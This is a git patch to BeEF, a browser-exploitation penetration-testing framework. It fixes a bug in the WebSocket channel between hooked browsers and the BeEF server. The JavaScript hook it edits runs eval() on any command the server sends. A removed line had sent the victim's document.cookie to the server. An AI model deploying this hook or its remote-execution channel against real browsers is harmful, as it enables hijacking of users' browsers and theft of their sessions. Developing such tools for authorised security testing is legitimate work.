From fdad068ee5763691f30170f5d7ac4ec79f0ce103 Mon Sep 17 00:00:00 2001
From: antisnatchor <antisnatchor@gmail.com>
Date: Thu, 10 May 2012 13:54:40 +0100
Subject: [PATCH] Fix issue 674 (NilClass issue)

---
 core/main/client/websocket.js                 | 19 ++++++++-----------
 .../main/network_stack/websocket/websocket.rb | 19 +++++++++----------
 2 files changed, 17 insertions(+), 21 deletions(-)

diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js
index e91b3fe18..994fe5958 100644
--- a/core/main/client/websocket.js
+++ b/core/main/client/websocket.js
@@ -36,35 +36,32 @@ beef.websocket = {
         }
 
     },
-    /*websocket send Helo to beef server and start async communication*/
+    /* send Helo message to the BeEF server and start async communication*/
     start:function () {
         new beef.websocket.init();
-        /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
         this.socket.onopen = function () {
-            console.log("Socket has been opened!");
+            //console.log("Socket has been opened!");
 
             /*send browser id*/
-            beef.websocket.send('{"cookie":"' + document.cookie + '"}');
-            console.log("Connected and Helo");
+            beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
+            //console.log("Connected and Helo");
             beef.websocket.alive();
         }
         this.socket.onmessage = function (message) {
-            console.log("Received message via WS."+ message.data);
-             eval(message.data);
+            //console.log("Received message via WS."+ message.data);
+            eval(message.data);
         }
 
     },
 
     send:function (data) {
         this.socket.send(data);
-        console.log("Sent [" + data + "]");
+//        console.log("Sent [" + data + "]");
     },
 
-    //todo antisnatchor: we need to get only the BEEFHOOK cookie value, not every cookie.
-    //todo in this way it will be easier to parse it server side.
     alive: function (){
         beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
-        console.log("sent alive");
+//        console.log("sent alive");
         setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
 
     }
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index 73652303d..a446129ce 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -44,8 +44,8 @@ module BeEF
                     ws.handshake() #accept and connect
                     while true
                       #command interpretation
-                      message=ws.receive()
-                      messageHash= JSON.parse("#{message}")
+                      message = ws.receive()
+                      messageHash = JSON.parse("#{message}")
                       #@note messageHash[result] is Base64 encoded
                       if (messageHash["cookie"]!= nil)
                         print_info("Browser #{ws.origin} says helo! WebSocket is running")
@@ -53,7 +53,6 @@ module BeEF
                         @@activeSocket["#{messageHash["cookie"]}"] = ws
                         print_debug("In activesocket we have #{@@activeSocket}")
                       elsif messageHash["alive"] != nil
-                        #@todo browser could be not in bd so we have to add it
                         hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"])
                         hooked_browser.lastseen = Time.new.to_i
                         hooked_browser.count!
@@ -76,10 +75,10 @@ module BeEF
 
         end
 
-        #@note used in command.rd return nill if browser is not in list else giveback websocket
-        #@param [String] browser_id the cookie value
-        def getsocket (browser_id)
-          if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil)
+        #@note retrieve the right websocket channel given an hooked browser session
+        #@param [String] session the hooked browser session
+        def getsocket (session)
+          if (@@activeSocket[session] != nil)
             true
           else
             false
@@ -88,9 +87,9 @@ module BeEF
 
         #@note send a function to hooked and ws browser
         #@param [String] fn the module to execute
-        #@param [String] browser_id the cookie value
-        def sent (fn, browser_id)
-          @@activeSocket["BEEFHOOK=#{browser_id}"].send(fn)
+        #@param [String] session the hooked browser session
+        def sent (fn, session)
+          @@activeSocket[session].send(fn)
         end
 
         BeEF::Core::Handlers::Commands